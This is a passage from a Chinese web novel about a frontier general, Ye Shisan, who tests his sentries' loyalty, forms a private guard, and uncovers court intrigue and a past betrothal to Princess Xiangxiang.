虽然来者不是鞑子口音,但哨卡的人,还是不让他们三人靠近掩体。
“既然是屯田村来的,可有叶将军的手令?”
“手令倒是没有,可有比手令更让你吃惊的东西。”
吴六子卖了个关子,一脸得意地望向掩体。
“没有叶将军亲自签发的手令,任何人都不得通行,要是胆敢硬闯,可别怪老子的弓箭不长眼睛。”
掩体后面的人,口气无比强硬,丝毫没有半点通融的意思。
“大胆……”
吴六子正要发怒,被叶十三出声喝住。
“别说了。”
叶十三把马缰递给身后的何秀儿,背着手上前几步,站在吴六子身边后,从怀里掏出两锭十两的银子在手里掂着。
“前面的兄弟们,都是边军的一员,行个方便可好?”
这一手,直接把吴六子惊了个目瞪口呆。
“银子在老子这里不管用,没有叶将军的协防令,任何兵马都不得通行。”
好家伙,掩体后面的口气,依然硬得就像是石头。
叶十三咧嘴笑了,把两锭银子在手里掂来掂去,高声又道:“大冷天值夜哨,也太辛苦了,都是自己人,通融一下兄弟们也有个酒钱,要是嫌少,银子还可再商量!”
此言一出,吴六子更是一头雾水。
“嗖!”
随着一声弓弦发出琴音一样的响动,一支羽箭擦着吴六子的头顶,从叶十三的耳根射空。
“滚回去,商量你娘个脚,要是再不退后,老子一箭射瞎你狗东西的眼睛。”
“咯吱吱……”
随着骂声的传来,清晰地听见弓弦又被拉动的声音。
草!
这货还真是油盐不进,把银子都不放在眼里。
俗话说得好,有钱能使鬼推磨,可这白花花的银子,却在几个值哨的兵卒面前,失去了钱可通神的作用。
叶十三微微颔首,把银子揣进怀里,重新背起双手,目光如炬,饶有兴趣地看向火堆后面的掩体。
凝视片刻,叶十三缓缓从腰间解下那把残刀。
“哥几个听好了!”
叶十三把刀横在手上,提高了声调又道:“叶将军的手令我还真没有,但这把刀你们拿去,速速向蔡云禀明情况,我就在这里等候消息好了。”
说着,叶十三把手中的刀,向掩体前面一扔。
“嗖!”
残刀抛向掩体的速度,丝毫不亚于方才射过来的那支羽箭。
“叮……”
一声带着颤音的响,抛过去的残刀,直直地插进掩体前面坚硬的地面上一尺多深。
露在地面外的刀身,还在微微颤抖不已。
霎时,双方都陷入了一阵沉默。
不多时,一条身影,飞快地从掩体后面出来,奔到残刀旁边,伸手就去从地面上拔刀。
“诶!”
拔刀的身影一怔,随即双手用力,“噌”一声就把叶十三的刀拔了出来。
身影拿着刀,一瞥叶十三和吴六子二人,忽然闪身掩体后面不见。
“耐心等着,老子这就去向蔡大人禀报。”
看到两条黑影从掩体后面飞奔而去,叶十三向吴六子摆摆手,后退十几步来到何秀儿跟前。
“将军,我们就这样被冻着?”
吴六子一脸气愤,狠狠又瞄了掩体一眼。
叶十三撇撇嘴,笑道:“他们不也是冻着的吗?”
“可是……”
气不顺的吴六子,悻悻地又发着牢骚。
“好了!”
叶十三打断吴六子想说的话,沉声道:“你还真希望他们得了银子,然后放我三人过去?”
“这……”
此言一出,吴六子这才明白过来。
方才,他还为此事恼怒不已。
心里也不断地埋怨叶十三如何不表明身份?
几个最低等的哨兵,叶十三还真有耐心和这些人死缠硬磨?
这下,他懂了。
就方才,这几个哨兵要是为了二十两银子放他们过去。
说不定,那两锭银子还没被捂热,就会被叶十三砍了他们的脑袋。
如此一想,吴六子不禁为几个哨兵庆幸不已。
这时候,叶十三却来了兴致,扯着嗓子问道:“敢问方才发话者,是何等军职?”
“呸!”
不料,远处的掩体后面,唾了一口痰出来。
“少他娘的跟老子套近乎,明着告诉你吧!老子是黄羊岘防区叶十三大人麾下,落雁坡村驻军伍长崔明贵,要是想找老子麻烦,等天亮后老子接着就是。”
催命鬼?
“哈哈哈……”
叶十三突然仰头一阵狂笑,惊得吴六子又是一个大张嘴。
再是恪尽职守,但一个底层哨兵,在堂堂怀远将军面前左一个老子,又一个老子的,这成何体统?
等笑够了,叶十三缓缓上前几步。
“催命鬼啊催命鬼,你可想好了?”
叶十三停顿一下,接着又道:“既然你声称伍长,那么连你在内,只有五人值守此处夜哨,方才又派出二人去报信。那么,此时连你在内,也只有三人而已,我也是三人,搏杀你们三人应该绰绰有余,你,可想好了?”
“老子眼下就三人,你敢妄动半步,老子手中的弓箭可不是吃素的。”
不受半点威胁的崔明贵,在掩体后面又怒骂道:“大不了一死,身为叶十三将军麾下的边兵,就是战死,那也是老子的无上荣光。”
“你一个底层兵卒,就那么听他叶十三的话?”
叶十三又是一句发问。
“退回去,再敢废话,老子真射了哈!”
“告诉你,叶十三将军,就是我们边兵心中的战神,你他娘的再敢对叶将军不敬,再是同伍,老子照样一箭射死你。”
说完,掩体后面的崔明贵,恶狠狠地又补充了一句。
“够胆!”
叶十三大嘴一咧,暴怒道:“你可别后悔,要是知道了我的身份,不吓死你才怪。”
说完,叶十三快速退回二人身边,生怕这二杆子崔明贵冷不丁再来一箭。
方才那一箭,只是警告。
这要是再射,那可是动真格的了。
依据方才的弓弦颤抖的声音,叶十三知道,崔明贵手里握着的,那可是一把绑了牛筋的桑木硬弓。
如此近的距离,又加上黑灯瞎火,可不是闹着玩的。
就在三人被冻得在雪地上不停地跺着脚的时候,掩体后面的远处,突然出现了一队火把。
第201章 亲手打造自己的班底
“将军,有人来了!”
吴六子一阵欢呼,搓着手又道:“待会,小的非抽他崔明贵几个脖儿拐不可。”
呼隆隆的马蹄声,随即就到了哨卡。
一队火把之下,映着蔡云满脸乱毛的一张脸。
这满脸毛大叔一到哨卡,飞身下马就直奔叶十三这边过来。
在离叶十三十步左右,蔡云看到真是叶十三到了。
“末将见过叶将军!”
蔡云在叶十三面前十步处,单膝跪地,双手抱拳又道:“末将出迎来迟,还请叶将军恕罪。”
看到蔡云跪了,身后打着火把的一队兵卒纷纷下马,霎时就在雪地上跪倒一片。
“小的们恭迎叶将军。”
百十人异口同声,山呼震天。
“哼!”
叶十三冷哼一声,背着双手从蔡云身边走过,来到跪了一地的兵卒们面前,道:“辛苦了,都起来吧!”
“谢将军……”
兵卒们纷纷拱手道谢,齐刷刷从雪地上起立,然后站在各自的马前。
此时,天已经微微亮了。
叶十三上前几步,背着手在哨卡查看。
用原木搭成的掩体后面,三个兵卒还在垂头跪着。
其中一个兵卒的脑袋,前额几乎都触在了地上。
双腿跪着?
这可不是军礼啊!
再看看蔡云带着的兵卒们,手中有刀,背上有弓,还有一卷羊毛毡一起背着。
迎着叶十三不解的目光,蔡云解释道:“这一百兵士,是末将从周围村子补充进来的新卒。”
“新卒?”
叶十三眼前一亮。
“是!”
蔡云点点头,又道:“大战在即,容不得慢慢训练,末将只好加大对他们的军务,安排他们直接参与巡防,也好尽早适应战时需求。”
“好!”
叶十三叫了一声好,点头道:“这才是一个领军该有的样子,不过,这些人,我要了。”“将军……”
蔡云一怔,不解地望向叶十三。
“是这样!”
叶十三摆摆手,又道:“眼下元蒙会大举进犯我防区,就你那些驻村兵马,只能做转移百姓用,作战,还得靠北防军的常备军,这些新卒,我要带走。”
“末将遵命!”
蔡云松了一口气,拱手又道:“还请将军到村里歇息,此地离村部不足五里地,转眼就到。”
叶十三目光一扫新卒们,又看看掩体后面跪着的三个哨兵,笑道:“既然事已办成,就不去村里耽误我的时间了。”
“将军……”
蔡云更是一头雾水,这大半夜赶来,说这么几句话就又折返?
叶十三没有再理会蔡云,而是把目光投在三名哨兵,道:“你们三个,谁是催命鬼?”
此言一出,蔡云面颊一抽。
莫非,这些混蛋,招惹了叶十三不成?
“聋了?”
蔡云抡起手中的马鞭,冲着三个哨兵就吼:“叶将军的问话,你们耳朵都塞驴毛了?”
这时候,跪在最前面的一个哨兵,低垂着脑袋,小声道:“小的,小的就是崔明贵。”
“哈哈哈……”
叶十三仰头一阵大笑,突然冷声又道:“抬起头来,让老子看看!”
此言一出,蔡云又是一惊。
“将军息怒,这等混账东西,还是交给末将处置。”
叶十三狠瞪蔡云一眼,怒道:“滚一边去,这没你的事。”
蔡云紧张的额头都出了汗,双眼喷火地狠瞪着地上的哨兵。
这时候,崔明贵缓缓抬头,目光闪烁不定地看向叶十三。
“给,赏你们的!”
叶十三从怀里,又把那两锭各十两的银子掏出来,扔在崔明贵眼前的地上。
“叶将军恕罪!”
崔明天瞥了一眼被扔在眼前的银子,脑袋又深深地垂了下去。
心里一块石头落地的蔡云,拿手背偷偷擦了一把额头的汗,沉声怒道:“混账东西,将军的赏银,让你拿着就拿着,胆敢抗命,老子打断你的腿扔野外喂狼。”
“这个人,本将也要了。”
叶十三转过头来,目光盯着蔡云又道:“这些哨兵,恪尽职守,该赏。”
说完,叶十三把目光又投向三名哨兵,沉声道:“都起来吧,你们都是好样的。”
望向从地上爬起的哨兵,叶十三对崔明贵又说:“你,带上这一百新卒,跟老子走。”
“啊……”
此言一出,就连蔡云都惊呆了。
叶十三这话,明摆着就是把崔明贵这个底层哨兵,已经提到一个百夫长的位置上了。
“混账东西,还不快快谢过叶将军的提拔?”
蔡云强按着心头的激动,冲着崔明贵就是一吼。
“小的遵命!”
崔明贵身子一直,抬头挺胸,双手一正头盔,目光看向一百新卒,高声吼道:“全体准备,跟将军开拔。”
……
带着一百新卒,擦着黄羊岘和野驴滩交界处时,叶十三举目望向屯田村方向。
良久,叶十三把目光投向吴六子,沉声道:“速去鹞子岭防区,向戚虎再要一百新卒,如无新征兵卒,把西河镇补充过来的那些新卒带过来就成,速去速回,不可有半点耽误。”
“小的遵命!”
吴六子点点头,他已经猜到了叶十三此行的真正目的。
血卫军,急需年轻的力量。
叶十三要的是一支自己亲手创建的兵马,能死心塌地跟他打仗的队伍。
血卫军,就是叶十三随身带着的亲卫亲军。
是一股能使用新兵器的新生力量。
待吴六子策马狂奔而去的背影不见,叶十三这才把目光投向崔明贵脸上,道:“有信心带好这一百兵马否?”
崔明贵神情肃然,在马上双拳一抱,铿锵道:“请将军放心,小的就是粉身碎骨,也要把兄弟们带好了。”
“好!”
叶十三点点头,吼道:“开拔!”一声令下,战马鼻孔喷着白色是粗气,四蹄扬起一阵雪雾,向着硫磺谷方向狂奔而去。
这一番折腾,到达硫磺谷时,已经到了午时过后了。
几乎所有的战马,浑身的毛都被汗液湿透。
人就更不用说了,算起来几乎一天一夜的奔波,让肚里水米没进的何秀儿差点虚脱。
血卫军又添了两百兵马,只是眼下长枪,还不够人手一支。
叶十三吩咐马成,现有长枪轮流练习射击。
每一百兵卒中,成绩最突出者可担任百夫长,其次是四名甲正。
而血卫军下不设伍长,最小都是十人一组的什长制。
安排新到的兵卒用过饭,即刻将这二百兵卒,就投入了紧张的训练。
枪的数量,得及时补齐。
叶十三草草扒拉几口饭食,又连灌一壶热茶下肚,来不及小憩一会,就招来四名从何家大院运粮先行到了硫磺谷的卫兵。
“你四人,套好两辆马车,天黑之前务必赶到屯田村。”
四人一怔,不解道:“将军,粮食已经够用一些时日了,是否还缺其他东西?”
叶十三眼睛一瞪,沉声道:“你四人,两人赶一辆马车,找老铁匠曹三锤,把本将要的东西连夜运回来就可。”
“遵命!”
四人齐齐拱手,同声应答。
“还有,至于所运之物,运到何处,一概严加保密!”
第202章 你不应该入伍
转瞬之间,三天已过。
经由吴六子带领探马多方侦查,叶十三已然摸清了元蒙鞑子集结的状况。
仅黄羊岘防区之外,元蒙便屯兵三处,兵马总数约有两万。
而且,还有兵马不断地集结着。
不算其他,就这两万兵马全面发动进攻,北防军起码得出动五万兵力,才能够勉强抵御。
要是元蒙在其他防区外围分兵布局,那么十万北防军就会疲于奔命,无法有效地攻打一处。
千里北防线,岌岌可危,说垮就垮。
形势严峻,敌我力量悬殊,不容乐观。
既然大兵压境,但眼下却迟迟按兵不动,不知道这元蒙到底是何意思?
如此现状,不但叶十三急,军部更急,朝廷更是急上加急。
也是在这三天,利用七百血卫军轮流练习长枪射击外,叶十三让血卫军把峡谷外面的一片松林给砍了。
粗大的圆木,在凹进去的山崖外面,被搭建成了简易木屋。
如此一来,山崖下凹进去的部分,就成了一连片的营房。
离通向元蒙方向的出口位置不远处,也用圆木搭建了一些用来防守的工事。
硫磺谷再是难以用来大部队通行,但叶十三不得不防备元蒙鞑子的步军,从这里偷袭进入野驴滩地界。
狭长的硫磺谷,这处横出来的场地,自然就成了一处隐秘的屯兵大营。
一些松散的碎石,被清理到周围码成了围墙,使这个一夫当关万夫莫开的兵营,更加隐秘而牢固。
整个兵营,四面都是陡峭的山崖,只有一条豁口通向硫磺谷的谷底。
寸草不生的硫磺谷,谁也想不到,这里会是叶十三的屯兵之地。
三天时间,由曹三锤带着的一班铁匠,也在这里扎了营。
几个木匠也是,分头占着一处崖穴,不分昼夜地在制造火器长枪。
直到第五天半夜,叶十三召集起包括何秀儿在内的五个卫兵。
“都去准备一下,带上长枪和干粮,长枪用包裹装严实了,去屯田村。”
叶十三已抬头望了望惨白的月色,做出了一个出谷的决定。
“将军,我们要回屯田村?”
已经喜欢上了这里,又习惯了这里紧张的训练生活的何秀儿,似乎还对这地方依依不舍。
“嗯!”
叶十三点点头,肃然说道:“身为黄羊岘防区的主帅,我不能长期留在这里练兵。”
何秀儿哪里知道?
叶十三不但管辖着两镇十六村的防务,还肩负着万川郡三万兵马的统领职责。
这里只是一个练兵的秘密基地,而非是避世享受的世外桃源。
不一刻,另外四个卫兵,不但背上背着一把硬弓,而且还背着一个长长的羊皮裹儿。
他们的腰间,左右各多了一个书本大小的羊皮袋。
不用说,那两只羊皮袋里,一只装着火药,另一只肯定是装着铁砂的。
“将军,何时出发?”
卫兵陈七斤,已经代替了之前是马成,此时跟在叶十三身边听候使唤。
“宜早不宜迟,即刻就走!”
叶十三径直向外走着,又道:“赶天亮时的黑幕前,务必赶到屯田村,火把就不要带了。”
身上有火药,明火之类的玩意儿,当然就得格外小心。
……
“将军,我们是先到后院?还是签房大院?”
经过两道哨卡,叶十三训了几句话,不多时就到了村里。
面对何秀儿的一问,叶十三思忖片刻,道:“还是先到你家里吧!”
“回将军话!”
身后马背上的何秀儿,一咬自己的嘴唇,幽幽说道:“小的没家了,那里只是铁匠铺的后院。”
没家了?
这话,几个意思?
结婚成家,家就安在后院,只是郑一刀死了,但铁匠铺的后院还是在的,如何就说自己没家了?
“将军在哪里?我的栖身之地就在那里。”
何秀儿红着脸,低声又是一句。
“你不应该入伍。”
叶十三面颊一抽,随口就是一句。
“小的最不应该的就是嫁人,嫁给那个铁匠。”
何秀儿眼眶也红了起来,低声又是一句。
这话,让叶十三心头一震。
难道?
何秀儿这是在埋怨他?
埋怨他做主,把她硬塞给了铁匠郑一刀?
老郑的死,我是有责任的!”
叶十三突然冒出一句连他自己都觉得荒唐无比的狗屁话来。
“除了军部的抚恤金,我再给你一份,好让你娘家的老爹,也好有个依靠。”
叶十三又想起了抚恤金,又提出他自己更会另外给一份让何秀儿补贴娘家里年迈的老爹。
“我不要钱!”
何秀儿冷不丁又是一句,倔强地继续说道:“我会一直侍奉在将军身边,除非有一天,我被鞑子兵给杀了。”
这话,让叶十三心头一阵难过和尴尬。
前身那哥们的残魂作祟,让他在何秀儿出嫁前,鬼使神差地给把何秀儿的生瓜破了。
女儿家最为珍贵的那扇门,就这样被叶十三稀里糊涂的给进了。
看来,自打叶十三收留了何秀儿那天起,何秀儿就时刻准备着,把自己的身子交给叶十三。
可眼下,何秀儿交出的不光是自己的身子,而且还把自己那颗卑微又倔强的心,也一并捆绑在叶十三身上。
当初的烽燧兵,而且还是个奴籍,这和何秀儿的身份差别并不大。
可短短时日,这个奴籍烽燧兵,自从岘口一战,直接扶摇直上,已经是统领三万兵马的怀远将军。
四品军职,就是普通老百姓头顶的一层天。
与之前的六品千户来比,那更是大了三级。
就是镇首周敬堂,此时也矮了这个怀远将军一头,见了面他还得跪礼才行。
叶十三一阵头大,讪笑道:“那就先回后院,人困马乏的,歇息一阵,等天大亮后再去签房议事。”
“小的遵命!”
何秀儿低着头,在马背上应了一声。
待回到后院,离天亮还有差不多一个时辰,卫兵们轻手轻脚,生怕打搅到还在睡梦中的香香郡主。
叶十三随手一推门,却发现他之前住的屋子,门是从里面给闩着的。
“这,谁住里边了?”
叶十三瞬间愠怒上头,没想到有人会如此大胆?
“是将军回来了?”
听到动静的紫伶,从另一间屋子离掌着蜡烛出来,惊奇地望着叶十三和何秀儿二人。
“嗯!”
叶十三点点头,低声道:“防区所有防务,本将已经巡查完毕。”
“将军这边请!”
低着头的紫伶,赶快上前几步,伸手就推开了何秀儿的正屋。
“将军先请进屋,奴婢去烧炕生火。”
紫伶举着蜡烛,站在正屋的门侧,一手撩起门帘,就等叶十三进去。
叶十三一脸狐疑,与何秀儿对视一眼,然后把头一低就进了正屋。
紫伶随后跟了进来,把手中燃着的蜡烛插进桌上的烛台,低头又道:“好几天都没生火了,奴婢这就去生火,然后给将军烧炕。”
此言一出,借着烛光,叶十三这才发现,空堂堂的炕上铺盖整齐,压根就没有人住这屋里。
第203章 她是我的未婚妻
难道?
叶十三心头一凛,这才意识到,隔壁是让香香郡主占了?
这傻白甜,正屋总比隔壁屋子要宽敞一些,而且还连着厨房,吃喝相对方便多了。
看到叶十三的神情,紫伶低着头上前,诺诺说道:“郡主,她住那屋了。”
果然没错,这唱的哪出啊?
“哦!”
叶十三缓缓回过头来,漫不经心说道:“这屋宽敞,郡主何故挤那屋里?”
这一问,紫伶的头,垂得更低了。
“郡主说,将军总会回来的!”
紫伶又是一句。
这话,就让叶十三觉得好笑了,眉头一皱说道:“难道本将出去巡察,就不回来了?”
“郡主说,将军回来,总有个热乎的被窝才行。”
说完,紫伶转身,急急又出了屋子。
草!
这叫什么事啊?
难道你不远千里奔赴边城,为的就是给老子暖被窝?
老子眼下最烦的就是你,叶家的今天,就是拜你郑家所赐。
没杀你,已经是老子格外开恩了。
想到这里,叶十三的目光冷了下来,一瞥身边的何秀儿,缓缓说道:“歇息一会,等天大亮后,随我去签房大院召集将领们议事。”
“嗯!”
何秀儿点点头,然后转身就去拢牛粪火。
“将军,茶水开了,您先喝几口暖和一下。”
何秀儿把刚烧开的茶水,斟了一碗反正桌上。
然后又去灶间烧饭。
此时的陈七斤,带着三名卫兵,挤在杂物间歇息。
叶十三仰面倒在炕上,却一点睡意都没有。
他有种感觉,隔壁屋里的香香郡主,此时也没有沉睡过去。
也许,自他一进这个院子,隔壁屋里的香香郡主就已经醒了。
烧完炕的紫伶,轻叩了一下屋门,屋门就从里边被打开。
“是他回来了?”
从被窝中支起上身的香香郡主,睡眼朦胧地望向炕沿前的紫伶。
“嗯!”
紫伶点点头,小声道:“将军带着何秀儿,还有四个卫兵一起回来了。”
“就他们几个?”
香香郡主一怔,揉揉眼睛又问一句。
紫伶点头又道:“总共六人,再不见其他兵马。”
凝望香香郡主片刻,紫伶又道:“天都快亮了,外面已经黑了下来,郡主要不要洗漱?”
“我才懒得起呢!”
香香郡主嘟囔一句,放下身子,把被子往脖子上一裹。
“您不去见将军?”
紫伶硬起头皮,大着胆子又是一句。
这下,香香郡主干脆把脑袋缩进被窝,说道:“我才不去见他,他的死活,与本郡主何干?”
紫伶一咧嘴,端起一只快要燃尽了的火盆,把火盆拿到屋外,添上几块干牛粪,等烟气散尽后,又把火盆拿进屋里搁下。
此时的何秀儿,已经烧好了饭。
“将军,先喝些热粥,都饿了大半夜了。”
“先放那儿吧!你也歇会,天快亮了。”
叶十三心头乱成了麻团,丝毫没有饥饿的感觉,懒懒一句又侧身躺了。
不一会,何秀儿吹熄了蜡烛,摸索着爬上了炕,给叶十三盖上了被子,然后自己蜷缩在叶十三身边躺了。
……
虽然没有睡意,但这一躺下,叶十三还是迷糊了起来。
那些心法的运用,让他受损的脑伤,已经有了很大的修复。
就是前身这哥们的身体筋骨,也有了很大的改观。
前世的现代,居然还保留着古代最尖端的医学。
这些密不外传的古医学,就是现代发达的科学,也解释不了其中的奥妙和玄机。
可谓是一支放光千年的医学瑰宝。
之前从不相信这些的叶十三,也不禁为之感叹,每个夜晚,他都在心里默默地运用这个心法为自己疗伤。
随着脑伤的不断恢复,一些记忆的碎片,被拼凑成了一幅幅画面。
“闰儿哥哥,你读你的圣贤书,香儿练香儿的剑,以后香儿保护你……”
十岁左右,练剑练得汗水津津的香香郡主,提着一把短剑,站在一张书桌旁边。
“成天舞枪弄棒的,哪有半点女儿家的样子?”
叶十三从书桌后面抬起头来,极不情愿地撇嘴说道:“有那么多女红你不去做,那么多的乐器你不去拨弄,音律也是一窍不通,光知道喊杀喊打……”
“嘻嘻……香儿知道,闰儿哥哥其实也不想读书,只是要陪太子学功课,谁叫叶伯伯是太子的老师呢……”
“连这都知道,看来你也不傻,陪太子读书就是累啊!”
“可不是,太子做错了事,叶伯伯却要打闰儿哥哥,香儿知道闰儿哥哥心里的苦……”
“还是你自在,成天可以到处疯,哪像我……”
“可是,香儿也没几天自在日子了,父亲说,明天就让我在绣楼学女红,让秀儿学习棋琴书画,不让香儿随便下楼……”
“不过,你也该学一些棋琴书画了……”
“闰儿哥哥,我走了以后,你会想我吗?”
“这……”
叶十三脑袋一阵生疼,那些画面,突然就像停电一样被中断了。
“香儿……”
叶十三一骨碌坐了起来。
“将军,您这是怎么了?”
闭着眼睛假睡的何秀儿,顿时被吓了一跳。
“香儿?”
叶十三使劲地摇摇头,然后痛苦地闭起眼睛。
何秀儿端详了叶十三一阵,小心翼翼地问道:“将军,您心里是在想着郡主?”
“她……”
叶十三抱着脑袋,但也没有否认。
“郑香逸,也就是香香郡主,她是我的未婚妻。”
此言一出,犹如晴天霹雳。
何秀儿一下子被惊得呆立当场,张大了嘴望着痛苦万分的叶十三。
作为女人的敏感,她已经猜到这个香香郡主和叶十三之间,有着某种微妙的联系。
这二人同样来自京都,只是身份地位不同而已。
但她万没想到,这个刁蛮郡主,居然是叶十三的未婚妻?
双手抱着脑袋的叶十三,片刻后缓缓抬起头来,自行下炕穿起靴子,把茶壶放在火盆边上烤着。
“但郑家,也是我叶家的仇人,肃王,和我有着不共戴天之仇。”
叶十三咬着呀,丝毫没有隐瞒,向何秀儿说出了真相。
“我叶家有今天,就是拜她郑家所赐!”
此时,叶十三双眼通红,似要喷出火来。
何秀儿眼里,突然滚出两行泪珠。
默默下了炕后,拿起一把梳子,站在叶十三身后,给叶十三梳理着蓬乱的头发。
“小的敢问将军,叶家当初在京都,是何等人家?”
这话问得没错!
能和肃王扯上关系的,绝不是一般的门第。
叶十三端起一碗茶水,边喝边道:“我父亲叶铎,此乃太子太师,只因淑妃李娘娘想推她的儿子上位,故而勾结郑岳嵩……”
何秀儿的眼泪,一滴一滴,不断地滴在叶十三的肩头。
她更没想到,这个倔强的奴籍烽燧兵出身的将军,居然有着如此悲惨的经历……
第204章 密室
短暂的黑暗过后,天亮了起来。
就在此时,一队十来人的兵马,已经到了通天驿镇。
“禀大将军,朝廷来人了。”
一名卫兵急忙进入军部大将军行辕,向刚洗漱完了的岳佟禀报。
“朝廷来人了?”
岳佟面颊一抖,眉头就皱了起来。
“是老王爷的人。”
卫兵又是一句,然后等候岳佟的回复。
“哦!”
岳佟面色一缓,点头道:“快请,吩咐灶间,多弄几样酒菜。”
说完,岳佟戴好头盔,快步跨出行辕大厅,亲自去迎接来人。
一名宣节校尉,带着两名副尉和八名卫兵亲随,已经到了门口。
这些人一脸风尘,满身都是灰土,行迹都是简装疾驰而来。
“末将参见大将军!”
宣节校尉温苍玉,一打照面就单膝跪地,向曾经的老熟人行礼。
“宣节副尉卢一鸣,参见车骑大将军!”
“宣节副尉马啸,参见车骑大将军。”
两名副尉,也跪在温苍玉身后,齐齐向岳佟行礼。
“快快请起,不必如此客气!”
岳佟上前,伸出双臂,亲自扶温苍玉起来。
八名卫兵被留在行辕大厅用茶,温苍玉和两名副尉,却被岳佟带到了二楼的一处密室。
行辕的卫兵把茶端到门口,由岳佟亲自接过茶壶拿进密室。
“守住楼梯口,没本帅的命令,任何人都不得靠近半步。”
岳佟冷着脸,回头冲着送茶的卫兵,厉声就是一句。
卫兵点点头,迅速退到了楼下站着。
“老王爷可好?”
一到桌前,岳佟一只手凌空向下压,示意三人入座。
“老王爷身子骨大不如以前,自太子那事以后,最近很少上朝。”
温苍玉站在桌旁,回答完岳佟的问话,又道:“如今肃王到处笼络人心,似有架空圣上的迹象,朝中一些大臣,多半也有倾向肃王的嫌疑。”
“坐下说!”
岳佟的眉头,皱得是越来越紧,自己率先坐下,然后又道:“朝中一些人本来左右摇摆不定,都是见风使舵之徒,如今淑妃李娘娘被立为后,新太子背后的这些人更加猖狂了。”
“大将军……”
刚落座的温苍玉,突然又站了起来,神色凝重道:“老王爷口谕,让您想尽一切办法,把叶十三那个奴籍给扶持起来,如此也好洗脱老王爷把控边城的嫌疑。”
“这……”
岳佟脸色更加难看起来,摇头道:“不是本帅贪恋这军权不放,而是那个叶十三,能不能听老王爷的?要是扶他上去,到时候怕不好掌控他啊?”
“大将军多虑了!”
温苍玉却不以为然,继而把目光投向刚落座的副尉卢一鸣。
卢一鸣也站了起来,拱手道:“禀大将军,这个叶十三,定不会和肃王一条心的。”
“没错!”
马啸也站了起来,拱手道:“末将奉老王爷之命,暗中查过这个充军奴籍的底细,可以说,这是天赐的良机。”
“怎讲?”
岳佟虎躯一震,目光凌厉看向马啸。
“他到底是何出身?”
岳佟目光如炬,沉声又是一句追问。
“大将军!”
马啸急不可待地端起茶碗,顾不得茶水的滚烫连喝两口,拿手背一抹嘴角,这才说道:“这个叶十三,小名叶闰,是太子太师叶铎的独子……”
“啊——”
这下,该岳佟吃惊了。
他万没想到,叶十三会是前太子老师叶铎的独子。
“可……”
惊愣之余,岳佟迟疑道:“叶太师的儿子,据说文才非凡,从没听说他会武艺,这个叶十三却是凶悍有余,武艺更是超群,你们莫要搞错了?”
“错不了!”
卢一鸣摆摆手,笑道:“大将军不妨想想,叶铎是何人?那可是太子太师啊!别说文采一流,就是城府和心机,当然更非常人所比,暗中培养自己独子武艺,这本就不是什么稀奇事。”
“应该是这样,叶十三从小陪太子读书,太子太傅教太子武艺,叶十三耳闻目染多年,熏都能熏出三分将气来。”
马啸更是摇头晃脑,十分肯定地给叶十三总了个结论。
听三人如此一说,岳佟的脸色,这才舒展了一些。
这时候,灶间已经做好酒菜,两名卫兵端了酒肉,上了楼梯后,依旧由里面的人把酒菜接了进去。
“边吃边谈!”
岳佟一指桌上酒菜,招呼三人用饭。
“大将军请!”
温苍玉站起来谦让一番,等岳佟动了筷子,他三人这才重新坐下,拿起筷子就猛吃一气。
军伍人吃饭,毫不扭捏。
大块肉,大碗酒,这才是边军的吃相。
待连干三碗酒后,岳佟又道:“怪不得,郑家那妮子来边城督军,叶十三动不动就甩脸子给她看,当时本帅还为此担心,怕叶十三这愣货由此惹出不可收拾的乱子来。”
“如此甚好!”
温苍玉端起酒碗,面带喜色说道:“那妮子领了监军职,来边城的目的,就是在北防军内制造间隙,从而达到瓦解老王爷的势力,有叶家小子这么个货从中作梗,肃王的算盘,怕是要打空了哇?”
“如果叶家这小子心中记着仇恨,就不怕肃王在边城掀起风浪,所以,老王爷的意思,要想尽一切办法,把叶十三扶持起来。”
马啸也是附和一句,表达了镇北王吕南庭的完全想法。
岳佟又是一碗酒下肚,思忖片刻,又道:“奇怪之处,郑家那妮子,却是对叶十三处处迁就,前些日子,居然把谭祖高给弄死了!”
“好事啊!”
温苍玉又给岳佟喝空了的酒碗里把酒斟满,低声道:“如此一来,被肃王把控的万川郡三万北防军,不就又到了老王爷手里?那些将领,和我们一样,都是老王爷一手带出来的兵。”
“如今朝纲不稳,奸佞当道,千里北防线,万不能落入元蒙鞑子之手,十万北防军,更不能让朝中那些奸佞小人把控。”
卢一鸣也是一脸愤慨,表达出对朝中一些事情的极大不满。
岳佟目光一扫三人,沉声道:“你们以为,扶叶十三上去,就那么容易?”
此言一出,温苍玉三人,面上顿时一怔。
难道,堂堂北防军主帅,还任命不了一个将军?
第205章 各有密谋
密室内,四人又是一轮畅饮。
良久,岳佟道:“没有新的战功,很难把一个人扶上去。”
一碗酒下肚,又道:“朝廷处处在找老王爷的口实,就太子弑君篡位一案,差点就让老王爷栽进这个坑里,如果贸然行事,朝中悠悠众口,正好拿住老王爷的短处。”
“搞不好,一些人又要借机做文章了。”
岳佟摆摆手,又是一句。
“哪——”
温苍玉闻言一怔,也不知道该如何是好?
“还是战功要紧!”
马啸点点头,道:“大将军之言有理,叶十三要是没有新的战功,怕是难以服众?”
“如果叶十三战功赫赫,就是大将军不向朝廷举荐此人,朝中那些势力,也会想尽一切办法拉拢,让叶十三替代了老王爷留下的兄弟们。”
卢一鸣喝了一口闷酒,说了极有可能会发生的后果。
“还是顺其自然吧!”
岳佟摆摆手,叹息道:“眼下元蒙大军压境,如果全线向我千里防线开战,十万北防军,怕是难以御敌啊!”
温苍玉沉思片刻,突然说道:“元蒙方面,既然已经在边境集结军队数日,为何迟迟没有进犯我土?”
“本帅估计,是元蒙各盟意见还不统一,一旦开战,我大夏就会彻底断了和元蒙的一切贸易,光是粮食就是个大问题。”
到底是老谋深算,岳佟一语道破真相。
一碗酒下肚后,扫了三人一眼,又道:“眼下闹得最凶的,当属元蒙大金盟部,木桑王爷咽不下郡主的金刀驸马那木尔被叶十三所杀的这口气,一再上书他们的汗王,鼓动各盟部向我大夏全面出兵。”
“哦!”
温苍玉点点头,道:“如此看来,元蒙各盟部,意见也不是很统一?”
“那是当然!”
满脸酒红的岳佟,点头又道:“游牧部落,并不是都很富足,光粮食一项,就能让一些缺粮的盟部退缩。”
“有道理!”
卢一鸣也表示赞同这个说法,接着话头说道:“拿皮毛从我大夏换取粮食,这才促进了边贸的繁荣,一旦各盟部和我大夏彻底撕破脸皮,元蒙各盟部,也占不到多大的便宜。”
“力图中原?”
马啸却面上一紧,坦言道:“就怕元蒙各盟部达成共识,目标不光是我大夏边城这么简单,要是他们汗王的野心,是建立在吞并我整个大夏河山的话……”
话说了一半,马啸停了下来,目光看向岳佟。
言外之意,在座的都懂。
国之兴亡,匹夫有责,身为边军,自当拒敌于门外。
此言一出,酒局陷入一片沉默。
